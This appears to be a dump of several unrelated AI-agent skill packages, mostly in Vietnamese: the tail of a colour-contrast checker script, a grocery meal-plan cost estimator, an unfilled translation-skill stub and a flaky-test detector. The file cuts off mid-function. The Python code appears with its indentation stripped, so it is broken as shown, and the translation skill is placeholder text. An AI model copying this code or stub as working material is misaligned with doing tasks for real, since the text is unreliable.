p.add_argument("--palette", help="JSON file with {pairs:[{name,fg,bg}]}")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
rows = []
if a.palette:
data = json.load(open(a.palette, encoding="utf-8"))
for pair in data.get("pairs", []):
rows.append(pair)
elif a.fg and a.bg:
rows.append({"name": "pair", "fg": a.fg, "bg": a.bg})
else:
p.error("provide --fg and --bg, or --palette, or --self-test")
out = []
any_fail = False
for row in rows:
ratio = contrast_ratio(row["fg"], row["bg"])
ev = evaluate(ratio)
if not ev["aa_normal"]:
any_fail = True
item = {"name": row.get("name", "pair"), "fg": row["fg"], "bg": row["bg"], "ratio": round(ratio, 2), **ev}
out.append(item)
if not a.json:
print(format_row(item["name"], item["fg"], item["bg"]))
if a.json:
print(json.dumps(out, indent=2))
return 1 if any_fail else 0
if __name__ == "__main__":
sys.exit(main())Xây dựng kế hoạch bữa ăn hàng tuần kèm ước tính khẩu phần và danh sách đi chợ được gộp theo từng khu vực quầy hàng, sau đó ước tính tổng chi phí từ đơn giá bạn cung cấp hoặc mức giá mặc định đơn giản. Sử dụng khi lập kế hoạch bữa ăn theo ngân sách, nấu ăn theo mẻ (batch cooking), hoặc hỏi "tuần này tôi nên mua gì cho 4 người?". Bao gồm công cụ ước tính chi phí bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: grocery-meal-plan-cost-estimator
description: Xây dựng kế hoạch bữa ăn hàng tuần kèm ước tính khẩu phần và danh sách đi chợ được gộp theo từng khu vực quầy hàng, sau đó ước tính tổng chi phí từ đơn giá bạn cung cấp hoặc mức giá mặc định đơn giản. Sử dụng khi lập kế hoạch bữa ăn theo ngân sách, nấu ăn theo mẻ (batch cooking), hoặc hỏi "tuần này tôi nên mua gì cho 4 người?". Bao gồm công cụ ước tính chi phí bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Công cụ Ước tính Chi phí Kế hoạch Bữa ăn & Đi chợ
Bạn giúp các hộ gia đình lập kế hoạch bữa ăn cho một tuần, điều chỉnh khẩu phần theo số người, lập danh sách đi chợ được phân nhóm theo khu vực quầy hàng trong siêu thị và ước tính chi phí dựa trên đơn giá. Bạn xử lý thực tế đối với thức ăn thừa và các nguyên liệu sẵn có trong tủ bếp. Bạn không đưa ra liệu pháp ăn kiêng y khoa; bạn chỉ ghi nhận các dị ứng và sở thích mà người dùng nêu ra.
## Các tệp trong kỹ năng này
- `scripts/estimate_cost.py` - tính tổng danh sách đi chợ theo đơn giá và in ra tổng chi phí từng khu vực quầy hàng (chỉ dùng thư viện chuẩn Python 3)
- `references/portion-guide.md` - định lượng ước chừng cho mỗi người đối với các loại thực phẩm phổ biến
- `references/store-section-map.md` - vị trí thường gặp của các mặt hàng trong siêu thị
- `templates/meal-plan.md` - cấu trúc kế hoạch hàng tuần + danh sách đi chợ
- `examples/sample-week.md` - ví dụ minh họa hoàn chỉnh cho 2 người lớn
## Quy trình làm việc
### 1. Thu thập các ràng buộc
Hỏi các thông tin: số lượng người và độ tuổi, số buổi tối nấu ăn tại nhà, ngân sách và đơn vị tiền tệ, quy tắc ăn uống (ăn chay, halal, dị ứng), thiết bị/thời gian nấu nướng, và các nguyên liệu đã có sẵn trong tủ bếp.
### 2. Phác thảo thực đơn trong tuần
Đề xuất bữa sáng / bữa trưa / bữa tối / bữa phụ có tận dụng lại thức ăn thừa. Giữ sự đa dạng mà không đòi hỏi tới 21 công thức nấu ăn riêng biệt.
### 3. Quy đổi thành danh sách nguyên liệu đi chợ
Sử dụng `references/portion-guide.md`, chuyển đổi các bữa ăn thành nguyên liệu và số lượng cụ thể. Loại bỏ trùng lặp (một chai dầu ăn, chứ không phải bảy chai).
### 4. Ánh xạ vào các khu vực quầy hàng
Phân nhóm bằng `references/store-section-map.md` để danh sách thuận tiện cho việc đi lại mua sắm.
### 5. Ước tính chi phí
```
python3 scripts/estimate_cost.py --list groceries.json
python3 scripts/estimate_cost.py --self-test
```
Nếu người dùng không có bảng giá, hãy sử dụng đơn giá mặc định được gắn nhãn rõ ràng và nêu rõ đó là mức giá tạm tính.
### 6. Trả lời
Trả về: bảng kế hoạch bữa ăn, danh sách đi chợ theo khu vực quầy hàng kèm số lượng, tổng chi phí ước tính, chi phí trên mỗi người-ngày, và 2 đến 3 ý tưởng thay thế nguyên liệu nếu vượt ngân sách.
## Quy tắc
- Không bao giờ tự bịa ra rằng một món nào đó là "lành mạnh" như lời khuyên y tế; chỉ bám sát sở thích và các chỉ số dinh dưỡng đa lượng (macros) nếu được yêu cầu.
- Ưu tiên dùng gam và mililít kèm theo đơn vị đo lường gia đình.
- Đánh dấu các mặt hàng dễ hỏng nên mua bổ sung vào giữa tuần.
FILE:references/portion-guide.md
# Khẩu phần nấu chín ước chừng cho mỗi người (điều chỉnh theo sức ăn)
| Thực phẩm | Mỗi người lớn | Mỗi trẻ em (5–10 tuổi) |
| --- | --- | --- |
| Cơm / ngũ cốc đã nấu chín | 150–180 g | 80–100 g |
| Mì ống khô (pasta) | 80–100 g | 50–70 g |
| Đạm (thịt/cá sống) | 120–150 g | 70–90 g |
| Đậu/đậu lăng (khô) | 50–70 g | 30–40 g |
| Rau củ (trọng lượng tươi sống) | 150–200 g | 80–120 g |
| Trái cây | 1 quả hoặc 120 g | 1 quả nhỏ |
| Sữa / sữa hạt thay thế | 200–250 ml | 150 ml |
| Bánh mì | 2 lát | 1 lát |
| Dầu ăn để nấu nướng | ~10 ml mỗi lần xào | dùng chung |
| Trứng | 2 | 1 |
## Mẹo điều chỉnh tỷ lệ khẩu phần
- Súp/món hầm: tăng lượng nước ở mức 90% khi nhân khẩu phần từ 2 lên 4 người (do hiệu suất giữ nước của nồi).
- Gia vị: không nhân theo tỷ lệ tuyến tính khi vượt quá 4 khẩu phần; hãy nếm thử và điều chỉnh.
- Bữa trưa tận dụng đồ ăn thừa: nấu tăng thêm +40% vào bữa tối của hai ngày trong tuần thay vì nấu các công thức riêng biệt.
FILE:references/store-section-map.md
# Sơ đồ khu vực quầy hàng điển hình trong siêu thị
Sử dụng các nhóm này trong danh sách đi chợ (điều chỉnh tên gọi cho phù hợp với cửa hàng tại địa phương):
1. **Rau củ quả tươi (Produce)** — trái cây, rau củ, rau thơm, xà lách
2. **Quầy bánh (Bakery)** — bánh mì, vỏ bánh tortilla, bánh mì tròn (buns)
3. **Thịt & hải sản (Meat & seafood)** — thực phẩm giàu đạm tươi sống/bảo quản mát
4. **Sữa & trứng (Dairy & eggs)** — sữa, sữa chua, phô mai, bơ, trứng
5. **Quầy đồ nguội / chế biến sẵn (Deli / prepared)** — nếu có sử dụng
6. **Thực phẩm khô (Pantry dry)** — gạo, mì ống, các loại đậu, bột mì, đường, ngũ cốc ăn sáng
7. **Đồ hộp & đồ đóng lọ (Cans & jars)** — cà chua hộp, cá ngừ hộp, các loại sốt
8. **Dầu ăn & gia vị (Oils & spices)** — dầu nấu ăn, muối, gia vị, giấm
9. **Thực phẩm đông lạnh (Frozen)** — rau củ đông lạnh, đạm đông lạnh, kem
10. **Đồ uống (Beverages)** — cà phê, trà, nước ép, nước có ga
11. **Đồ gia dụng (Household)** — nếu mua xà phòng/túi đựng trong cùng chuyến đi chợ
Gợi ý thứ tự di chuyển: rau củ quả tươi → quầy bánh → thịt & hải sản → sữa & trứng → các dãy kệ giữa → thực phẩm đông lạnh → đồ uống.
FILE:templates/meal-plan.md
# Kế hoạch bữa ăn hàng tuần
- **Số người**:
- **Ngân sách / đơn vị tiền tệ**:
- **Ghi chú chế độ ăn**:
## Các bữa ăn
| Ngày | Bữa sáng | Bữa trưa | Bữa tối | Ghi chú |
| --- | --- | --- | --- | --- |
| Mon | | | | |
| Tue | | | | |
| Wed | | | | |
| Thu | | | | |
| Fri | | | | |
| Sat | | | | |
| Sun | | | | |
## Danh sách đi chợ theo khu vực quầy hàng
### Rau củ quả tươi (Produce)
- [ ] mặt hàng — số lượng — giá ước tính
### Sữa & trứng (Dairy & eggs)
- [ ]
## Tóm tắt chi phí
- Tổng chi phí ước tính:
- Chi phí mỗi người-ngày:
- Mua bổ sung giữa tuần:
FILE:examples/sample-week.md
# Tuần mẫu — 2 người lớn, ăn tạp linh hoạt, EUR
Mục tiêu ngân sách: €70
## Các bữa ăn (tóm tắt)
| Ngày | Điểm nhấn bữa tối | Kế hoạch bữa trưa |
| --- | --- | --- |
| Mon | Cà ri đậu gà + cơm | Cà ri còn dư |
| Tue | Mì Ý aglio e olio + salad | Bánh mì kẹp trứng |
| Wed | Gà nướng khay + rau củ | Cơm tô gà nướng còn dư |
| Thu | Súp đậu lăng + bánh mì | Súp + trái cây |
| Fri | Taco cá (cá đông lạnh) | Cơm chiên với rau củ còn dư |
| Sat | Bữa tiệc trứng cuộn rau củ | Ăn ngoài / bỏ qua |
| Sun | Nấu mẻ lớn súp đậu hầm (chili) cho bữa trưa thứ Hai | Súp đậu hầm (chili) |
## Trích đoạn danh sách đi chợ (dành cho estimate_cost.py)
Xem cấu trúc JSON đi kèm:
```json
{
"currency": "EUR",
"items": [
{"name": "rice 1kg", "section": "Pantry dry", "qty": 1, "unit_price": 2.2},
{"name": "chickpeas canned x4", "section": "Cans & jars", "qty": 4, "unit_price": 0.9},
{"name": "pasta 500g", "section": "Pantry dry", "qty": 2, "unit_price": 1.1},
{"name": "chicken thighs 1kg", "section": "Meat & seafood", "qty": 1, "unit_price": 6.5},
{"name": "mixed veg 1kg", "section": "Produce", "qty": 1, "unit_price": 3.0},
{"name": "eggs 12", "section": "Dairy & eggs", "qty": 1, "unit_price": 3.2},
{"name": "milk 1L", "section": "Dairy & eggs", "qty": 2, "unit_price": 1.1},
{"name": "frozen white fish 500g", "section": "Frozen", "qty": 1, "unit_price": 4.5}
]
}
```
FILE:scripts/estimate_cost.py
#!/usr/bin/env python3
"""Estimate grocery cost from a JSON list.
Usage:
python3 estimate_cost.py --list groceries.json
python3 estimate_cost.py --self-test
JSON shape:
{
"currency": "EUR",
"items": [{"name": "...", "section": "...", "qty": 1, "unit_price": 2.5}]
}
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import sys
from collections import defaultdict
from typing import Any, Dict, List
def load_list(path: str) -> dict:
return json.load(open(path, encoding="utf-8"))
def estimate(data: dict) -> dict:
currency = data.get("currency") or "USD"
items = data.get("items") or []
by_section: Dict[str, float] = defaultdict(float)
lines = []
total = 0.0
for it in items:
name = it["name"]
section = it.get("section") or "Other"
qty = float(it.get("qty", 1))
price = float(it["unit_price"])
line_total = qty * price
total += line_total
by_section[section] += line_total
lines.append({
"name": name,
"section": section,
"qty": qty,
"unit_price": price,
"line_total": round(line_total, 2),
})
return {
"currency": currency,
"total": round(total, 2),
"by_section": {k: round(v, 2) for k, v in sorted(by_section.items())},
"lines": lines,
"item_count": len(lines),
}
def format_report(result: dict) -> str:
cur = result["currency"]
lines = [f"Estimated total: {result['total']:.2f} {cur} ({result['item_count']} lines)"]
lines.append("By section:")
for sec, amt in result["by_section"].items():
lines.append(f" - {sec}: {amt:.2f} {cur}")
return "\n".join(lines)
def self_test() -> int:
sample = {
"currency": "EUR",
"items": [
{"name": "rice", "section": "Pantry dry", "qty": 1, "unit_price": 2.2},
{"name": "eggs", "section": "Dairy & eggs", "qty": 1, "unit_price": 3.2},
{"name": "milk", "section": "Dairy & eggs", "qty": 2, "unit_price": 1.1},
],
}
r = estimate(sample)
cases = [
("total", r["total"], 7.6),
("dairy_section", r["by_section"]["Dairy & eggs"], 5.4),
("pantry", r["by_section"]["Pantry dry"], 2.2),
("count", r["item_count"], 3),
("currency", r["currency"], "EUR"),
("empty", estimate({"items": []})["total"], 0.0),
("qty_scale", estimate({"items": [{"name": "x", "section": "A", "qty": 3, "unit_price": 1.5}]})["total"], 4.5),
("default_section", estimate({"items": [{"name": "y", "qty": 1, "unit_price": 2}]})["by_section"]["Other"], 2.0),
("round", estimate({"items": [{"name": "z", "section": "A", "qty": 1, "unit_price": 1.005}]})["total"], 1.0),
]
failed = 0
for name, got, expected in cases:
if isinstance(expected, float):
ok = abs(float(got) - expected) < 1e-9
else:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Estimate grocery list cost.")
p.add_argument("--list", help="Path to groceries JSON")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.list:
p.error("--list is required (or use --self-test)")
result = estimate(load_list(a.list))
if a.json:
print(json.dumps(result, indent=2))
else:
print(format_report(result))
return 0
if __name__ == "__main__":
sys.exit(main())Bạn là một biên dịch viên chuyên nghiệp. Với văn bản được cung cấp, hãy dịch sang tiếng Ả Rập chuyên nghiệp, chất lượng cao đồng thời giữ nguyên ý nghĩa, giọng điệu và văn phong bản gốc. Nếu ngữ cảnh mơ hồ, hãy đặt câu hỏi làm rõ trước khi dịch.
--- name: translation-dictionary description: Bạn là một biên dịch viên chuyên nghiệp. Với văn bản được cung cấp, hãy dịch sang tiếng Ả Rập chuyên nghiệp, chất lượng cao đồng thời giữ nguyên ý nghĩa, giọng điệu và văn phong bản gốc. Nếu ngữ cảnh mơ hồ, hãy đặt câu hỏi làm rõ trước khi dịch. --- # Kỹ Năng Của Tôi Mô tả chức năng của kỹ năng này và cách tác nhân (agent) nên sử dụng nó. ## Hướng dẫn - Bước 1: ... - Bước 2: ...
Tìm các bài kiểm thử chập chờn (flaky test) từ các lần chạy CI lặp đi lặp lại: phân tích cú pháp tệp JUnit XML hoặc lịch sử chạy dạng CSV, gắn cờ các bài kiểm thử lúc đạt lúc trượt (được xác nhận khi xảy ra trên cùng một commit), xếp hạng chúng theo tỷ lệ đảo chiều và tỷ lệ lỗi, đồng thời đề xuất nguyên nhân có thể xảy ra và cách khắc phục. Sử dụng khi CI "báo đỏ ngẫu nhiên", trước khi thêm cơ chế chạy lại (retry), hoặc khi phân loại danh sách cách ly (quarantine). Bao gồm công cụ phát hiện bằng thư viện chuẩn Python với cờ --self-test.
---
name: flaky-test-detector
description: Tìm các bài kiểm thử chập chờn (flaky test) từ các lần chạy CI lặp đi lặp lại: phân tích cú pháp tệp JUnit XML hoặc lịch sử chạy dạng CSV, gắn cờ các bài kiểm thử lúc đạt lúc trượt (được xác nhận khi xảy ra trên cùng một commit), xếp hạng chúng theo tỷ lệ đảo chiều và tỷ lệ lỗi, đồng thời đề xuất nguyên nhân có thể xảy ra và cách khắc phục. Sử dụng khi CI "báo đỏ ngẫu nhiên", trước khi thêm cơ chế chạy lại (retry), hoặc khi phân loại danh sách cách ly (quarantine). Bao gồm công cụ phát hiện bằng thư viện chuẩn Python với cờ --self-test.
---
# Trình Phát Hiện Kiểm Thử Chập Chờn (Flaky Test)
Bạn giúp các nhóm kỹ thuật tách biệt những bài kiểm thử thực sự bị hỏng với những bài kiểm thử chập chờn (flaky). Bạn đọc kết quả từ nhiều lần chạy CI, tìm ra các bài kiểm thử có kết quả thay đổi dù không có sự thay đổi nào về mã nguồn, xếp hạng chúng theo mức độ phiền toái gây ra, và đề xuất cách khắc phục cụ thể hoặc kế hoạch cách ly (quarantine) cho từng bài. Bạn không bao giờ "sửa" tính chập chờn chỉ bằng cách thêm cơ chế chạy lại (retry), và không bao giờ kết luận một bài kiểm thử là chập chờn nếu không có bằng chứng từ ít nhất hai lần chạy có kết quả trái ngược nhau.
## Các tệp trong kỹ năng này
- `scripts/flaky_tests.py` - phân tích cú pháp các tệp JUnit XML (mỗi tệp tương ứng một lần chạy) hoặc lịch sử CSV và in ra bảng xếp hạng mức độ chập chờn hoặc định dạng JSON (chỉ dùng thư viện chuẩn Python 3)
- `references/flakiness-causes.md` - các nguyên nhân gốc rễ phổ biến kèm theo triệu chứng và cách khắc phục
- `references/junit-and-history-formats.md` - cách xuất tệp JUnit XML và lịch sử CSV từ các trình chạy kiểm thử (test runner) và hệ thống CI phổ biến
- `templates/flaky-report.md` - mẫu báo cáo dùng cho bình luận PR, issue hoặc buổi đánh giá sức khỏe CI hàng tuần
- `examples/test-history.csv` - lịch sử chạy mẫu có chứa một lỗi chập chờn trên cùng một commit
## Quy trình làm việc
### 1. Thu thập bằng chứng
Yêu cầu cung cấp, hoặc hỗ trợ tạo ra:
- Tệp JUnit XML từ ít nhất 3 lần chạy của cùng một bộ kiểm thử (từ các gói dữ liệu lưu trữ CI artifact, hoặc chạy vòng lặp cục bộ chẳng hạn như chạy bộ kiểm thử 10 lần)
- Hoặc một tệp CSV có các cột `run_id,test,status` và lý tưởng nhất là có thêm `commit` cùng `duration_s`
- Ngữ cảnh: trình chạy kiểm thử (pytest, Jest, JUnit, Go test, RSpec), mức độ chạy song song, cơ chế chạy lại (retries) đã bật sẵn, các dịch vụ dùng chung (cơ sở dữ liệu, trình duyệt, mạng)
Nếu chỉ có dữ liệu của một lần chạy duy nhất, hãy giải thích rằng không thể chứng minh được tính chập chờn và gợi ý chạy một vòng lặp kiểm thử lại trên một commit không thay đổi.
### 2. Chạy công cụ phát hiện
```
python3 scripts/flaky_tests.py run1.xml run2.xml run3.xml
python3 scripts/flaky_tests.py --csv examples/test-history.csv --only-flaky
python3 scripts/flaky_tests.py --csv history.csv --json
python3 scripts/flaky_tests.py --self-test
```
Mã thoát 1 có nghĩa là đã tìm thấy ít nhất một bài kiểm thử chập chờn (rất tiện lợi khi dùng làm cổng kiểm tra sức khỏe CI); mã thoát 2 có nghĩa là dữ liệu đầu vào không hợp lệ.
### 3. Phân loại
- **flaky_confirmed**: vừa đạt vừa trượt trên cùng một commit. Bằng chứng mạnh mẽ nhất; cần ưu tiên sửa trước.
- **flaky**: kết quả lẫn lộn giữa các lần chạy, không rõ commit hoặc khác commit. Hãy kiểm tra xem mã nguồn có thay đổi giữa các lần chạy hay không.
- **always_failing**: lỗi thực sự, không phải chập chờn. Chuyển cho người phụ trách xử lý như một lỗi phần mềm (bug).
- **stable** / **insufficient_data**: không cần hành động gì, hoặc thu thập thêm các lần chạy.
Sử dụng kết hợp `flip_rate` (tần suất kết quả thay đổi giữa các lần chạy liên tiếp) và `fail_rate`. Chỉ số `duration_spread` cao gợi ý về các vấn đề quá thời gian chờ (timeout), lệnh gọi mạng hoặc tranh chấp tài nguyên.
### 4. Chẩn đoán
Đối với mỗi bài kiểm thử chập chờn, hãy đọc mã kiểm thử và thông báo lỗi, sau đó đối chiếu các triệu chứng với `references/flakiness-causes.md`: căn thời gian và lệnh sleep, phụ thuộc vào thứ tự chạy kiểm thử, trạng thái dùng chung, múi giờ và đồng hồ hệ thống, tính ngẫu nhiên không có hạt giống (seed), mạng, xử lý đồng thời, giới hạn tài nguyên.
### 5. Đưa ra khuyến nghị
Đối với mỗi bài kiểm thử, hãy nêu rõ: nguyên nhân có khả năng cao nhất, bằng chứng, cách khắc phục cụ thể (ví dụ: "thay thế sleep(2) bằng việc chờ sự kiện cập nhật trạng thái đơn hàng"), người phụ trách, và có nên cách ly tạm thời hay không. Điền thông tin vào `templates/flaky-report.md`.
## Quy tắc
- Cơ chế chạy lại (retries) chỉ là băng cá nhân tạm thời có ngày hết hạn, không bao giờ là cách khắc phục thực sự.
- Các bài kiểm thử bị cách ly cần có người phụ trách và một ticket theo dõi; hãy liệt kê chúng vào báo cáo.
- Không xóa một bài kiểm thử chập chờn nếu chưa có sự đồng ý của người phụ trách.
- Giữ số liệu thống kê trung thực: nêu rõ kết luận được đưa ra dựa trên bao nhiêu lần chạy.
- Không bao giờ dán thông tin bí mật (secrets) hoặc toàn bộ nhật ký có chứa token vào báo cáo; chỉ cắt lấy phần kiểm tra điều kiện (assertion) có liên quan.
FILE:references/flakiness-causes.md
# Các nguyên nhân phổ biến gây ra kiểm thử chập chờn
| Nguyên nhân | Triệu chứng điển hình | Cách khắc phục |
|---|---|---|
| Lệnh sleep cố định và căn thời gian | Trượt nhiều hơn trên các tác nhân (agent) CI đang bận; độ lệch thời gian chạy cao | Chờ một điều kiện hoặc sự kiện kèm thời gian chờ tối đa (timeout) thay vì dùng `sleep` |
| Phụ thuộc vào thứ tự kiểm thử | Chạy riêng lẻ thì đạt, chạy trong toàn bộ bộ kiểm thử hoặc theo thứ tự ngẫu nhiên thì trượt | Đặt lại trạng thái dùng chung trong bước setup/teardown; chạy với thứ tự ngẫu nhiên để tái hiện lỗi |
| Trạng thái khả biến dùng chung | Biến toàn cục, singleton, bộ nhớ đệm (cache), biến môi trường bị rò rỉ giữa các bài kiểm thử | Cô lập dữ liệu mẫu (fixtures); khôi phục biến môi trường; tránh lưu trạng thái ở cấp độ mô-đun |
| Tài nguyên bên ngoài dùng chung | Các luồng chạy song song dùng chung các dòng cơ sở dữ liệu, cổng mạng, tệp tạm hoặc hàng đợi | Đặt tên duy nhất cho mỗi luồng xử lý (worker); hoàn tác giao dịch (rollback transaction) sau mỗi bài kiểm thử; dùng cổng trống ngẫu nhiên |
| Đồng hồ và múi giờ | Trượt vào gần nửa đêm, cuối tháng, khi đổi giờ mùa hè (DST), hoặc trên các máy chạy ở múi giờ khác | Đóng băng hoặc tiêm (inject) đồng hồ giả lập; sử dụng múi giờ UTC; tránh dùng thời gian "hiện tại" trong câu lệnh kiểm tra |
| Tính ngẫu nhiên không có hạt giống (seed) | Hiếm khi trượt với dữ liệu kỳ lạ | Gắn hạt giống (seed) cho bộ sinh ngẫu nhiên và in giá trị hạt giống ra khi bài kiểm thử bị trượt |
| Lệnh gọi mạng và dịch vụ bên thứ ba | Lỗi quá thời gian chờ (timeout), lỗi 429, lỗi DNS | Giả lập (mock) hoặc ghi lại phản hồi; tách các lệnh gọi thực tế sang một bộ kiểm thử riêng không chặn luồng chính |
| Xử lý đồng thời và bất đồng bộ | Điều kiện tranh chấp (race conditions), promise chưa được await, luồng (thread) chưa được join | Await mọi tác vụ bất đồng bộ; sử dụng cơ chế đồng bộ hóa phù hợp; thêm các điểm móc (hook) tất định |
| Giới hạn tài nguyên | Hết bộ nhớ (OOM), cạn kiệt tệp mở (file handle), container chạy chậm | Giảm mức độ chạy song song; dọn dẹp tài nguyên; chủ động nâng giới hạn một cách có tính toán |
| Kiểm thử giao diện (UI) và trình duyệt | Không tìm thấy phần tử, thời gian chạy hiệu ứng chuyển động, khác biệt kích thước khung nhìn (viewport) | Sử dụng bộ chọn (selector) ổn định và bộ định vị tự động chờ; tắt hiệu ứng chuyển động trong chế độ kiểm thử |
| Số dấu phẩy động và thứ tự | Kiểm tra trực tiếp trên các tập hợp không có thứ tự hoặc số thực dấu phẩy động chính xác tuyệt đối | So sánh các giá trị đã được sắp xếp; sử dụng độ lệch sai số cho phép (tolerance) |
## Câu hỏi phân loại
1. Nó có bị trượt trên cùng một commit khi chạy lại không? (flaky_confirmed)
2. Nó bị trượt khi chạy một mình, hay chỉ khi chạy cùng các bài kiểm thử khác?
3. Việc bị trượt có tương quan với một máy chạy (agent) cụ thể, thời điểm trong ngày, hay luồng chạy song song nào không?
4. Thông báo lỗi có luôn giống hệt nhau không?
5. Trước đây cơ chế chạy lại (retries) có che giấu lỗi này không? Hãy kiểm tra nhật ký chạy lại.
FILE:references/junit-and-history-formats.md
# Cách lấy tệp JUnit XML và lịch sử chạy
## Xuất JUnit XML cho mỗi lần chạy
- pytest: `pytest --junitxml=reports/run-$N.xml`
- Jest: trình báo cáo `jest-junit` (`JEST_JUNIT_OUTPUT_FILE=reports/run-$N.xml`)
- Go: `go test -v ./... 2>&1 | go-junit-report > reports/run-$N.xml`
- JUnit / Maven Surefire: `target/surefire-reports/*.xml` (gộp lại cho mỗi lần chạy)
- RSpec: `rspec_junit_formatter`
- Playwright: `--reporter=junit`
Vòng lặp chạy lại trên một commit không thay đổi:
```
for N in $(seq 1 10); do pytest --junitxml=reports/run-$N.xml || true; done
python3 scripts/flaky_tests.py reports/run-*.xml
```
Truyền các tệp theo đúng thứ tự chạy (thứ tự khớp mẫu glob là ổn nếu tên tệp được sắp xếp đúng, ví dụ: run-01..run-10).
## Cách kịch bản đọc dữ liệu JUnit
- Mã định danh bài kiểm thử (Test id) = `classname::name`
- Thẻ con `<failure>` hoặc `<error>` = trượt (fail); `<skipped>` = bỏ qua (skip); các trường hợp còn lại = đạt (pass)
- Thuộc tính `time` = thời lượng chạy tính bằng giây
## Lịch sử dạng CSV
Các cột: `run_id,test,status` cùng các cột tùy chọn `commit,duration_s`. Các trạng thái được chấp nhận: pass/passed/ok/success, fail/failed/failure/error/broken, skip/skipped/ignored/pending. Các dòng phải được sắp xếp theo đúng thứ tự lần chạy.
Ý tưởng xuất dữ liệu: sử dụng API phân tích kiểm thử của hệ thống CI, một tác vụ nhỏ nối thêm một dòng cho mỗi bài kiểm thử sau mỗi lần chạy vào tệp lưu trữ CSV, hoặc truy vấn trực tiếp từ cơ sở dữ liệu lưu kết quả kiểm thử của bạn.
FILE:templates/flaky-report.md
# Báo Cáo Kiểm Thử Chập Chờn (Flaky Test)
**Bộ kiểm thử:** <name> **Số lần chạy đã phân tích:** <n> (<khoảng ngày hoặc các commit>) **Trình chạy:** <pytest / Jest / ...>
## Tóm tắt
- flaky_confirmed: <n> flaky: <n> always_failing: <n> stable: <n> insufficient_data: <n>
- Cơ chế chạy lại (retries) hiện đang bật: <có/không, số lần>
## Ưu tiên sửa trước
| Bài kiểm thử | Phân loại | Tỷ lệ lỗi | Tỷ lệ đảo chiều | Nguyên nhân có thể | Bằng chứng | Cách khắc phục đề xuất | Người phụ trách | Cách ly? |
|---|---|---|---|---|---|---|---|---|
| | | | | | | | | |
## Lỗi thực sự (không phải chập chờn)
| Bài kiểm thử | Lỗi từ khi nào | Thông báo lỗi (đã cắt gọn) | Người phụ trách |
|---|---|---|---|
## Danh sách cách ly (Quarantine)
| Bài kiểm thử | Ticket | Người phụ trách | Ngày hết hạn |
|---|---|---|---|
## Các bước tiếp theo
1.
2.
FILE:examples/test-history.csv
run_id,test,status,commit,duration_s
1,checkout::test_apply_coupon,pass,a1b2c3,0.42
1,checkout::test_payment_timeout,pass,a1b2c3,1.10
1,search::test_autocomplete,pass,a1b2c3,0.31
1,profile::test_avatar_upload,failed,a1b2c3,2.05
2,checkout::test_apply_coupon,pass,a1b2c3,0.40
2,checkout::test_payment_timeout,failed,a1b2c3,5.02
2,search::test_autocomplete,pass,a1b2c3,0.29
2,profile::test_avatar_upload,failed,a1b2c3,2.10
3,checkout::test_apply_coupon,pass,d4e5f6,0.44
3,checkout::test_payment_timeout,pass,d4e5f6,1.07
3,search::test_autocomplete,skipped,d4e5f6,
3,profile::test_avatar_upload,failed,d4e5f6,2.01
4,checkout::test_apply_coupon,pass,d4e5f6,0.41
4,checkout::test_payment_timeout,failed,d4e5f6,5.01
4,search::test_autocomplete,pass,d4e5f6,0.30
4,profile::test_avatar_upload,failed,d4e5f6,2.07
FILE:scripts/flaky_tests.py
#!/usr/bin/env python3
"""Detect flaky tests from repeated CI runs (Python 3 standard library only).
Inputs (any mix):
* JUnit XML files, one per run, in run order: flaky_tests.py run1.xml run2.xml run3.xml
* A CSV history file with columns run_id,test,status[,commit][,duration_s]: flaky_tests.py --csv history.csv
Statuses: pass, fail (failure or error), skip. Skips are ignored for flakiness math.
Classifications per test:
flaky_confirmed - passed AND failed on the same commit
flaky - passed AND failed across runs (commit unknown or different)
always_failing - failed in every non-skipped run (>= --min-runs)
stable - passed in every non-skipped run (>= --min-runs)
insufficient_data - fewer than --min-runs non-skipped results
Exit code: 1 if any flaky/flaky_confirmed test is found, else 0 (2 on input errors).
"""
import argparse
import csv
import json
import sys
import xml.etree.ElementTree as ET
from collections import OrderedDict
STATUS_ALIASES = {
"pass": "pass", "passed": "pass", "ok": "pass", "success": "pass",
"fail": "fail", "failed": "fail", "failure": "fail", "error": "fail", "broken": "fail",
"skip": "skip", "skipped": "skip", "ignored": "skip", "pending": "skip",
}
def norm_status(raw):
s = STATUS_ALIASES.get(str(raw).strip().lower())
if s is None:
raise ValueError(f"unknown status: {raw!r}")
return s
def parse_junit_text(text, run_id):
"""Return list of (run_id, test_id, status, commit, duration) from JUnit XML text."""
root = ET.fromstring(text)
rows = []
for case in root.iter("testcase"):
cls = case.get("classname") or ""
name = case.get("name") or "?"
test_id = f"{cls}::{name}" if cls else name
if case.find("failure") is not None or case.find("error") is not None:
status = "fail"
elif case.find("skipped") is not None:
status = "skip"
else:
status = "pass"
try:
dur = float(case.get("time", "") or 0.0)
except ValueError:
dur = 0.0
rows.append((run_id, test_id, status, None, dur))
return rows
def parse_csv_text(text):
rows = []
reader = csv.DictReader(text.splitlines())
need = {"run_id", "test", "status"}
if not reader.fieldnames or not need.issubset({f.strip() for f in reader.fieldnames}):
raise ValueError("CSV needs columns run_id,test,status (optional commit,duration_s)")
for r in reader:
r = {k.strip(): (v or "").strip() for k, v in r.items() if k}
dur = float(r["duration_s"]) if r.get("duration_s") else 0.0
rows.append((r["run_id"], r["test"], norm_status(r["status"]), r.get("commit") or None, dur))
return rows
def analyze(rows, min_runs=3):
"""rows in run order. Returns OrderedDict test_id -> stats dict."""
tests = OrderedDict()
for run_id, test_id, status, commit, dur in rows:
t = tests.setdefault(test_id, {"results": [], "durations": []})
t["results"].append((run_id, status, commit))
if status != "skip" and dur:
t["durations"].append(dur)
out = OrderedDict()
for test_id, t in tests.items():
seq = [s for _, s, _ in t["results"] if s != "skip"]
passes = seq.count("pass")
fails = seq.count("fail")
skips = sum(1 for _, s, _ in t["results"] if s == "skip")
flips = sum(1 for a, b in zip(seq, seq[1:]) if a != b)
by_commit = {}
for _, s, c in t["results"]:
if c and s != "skip":
by_commit.setdefault(c, set()).add(s)
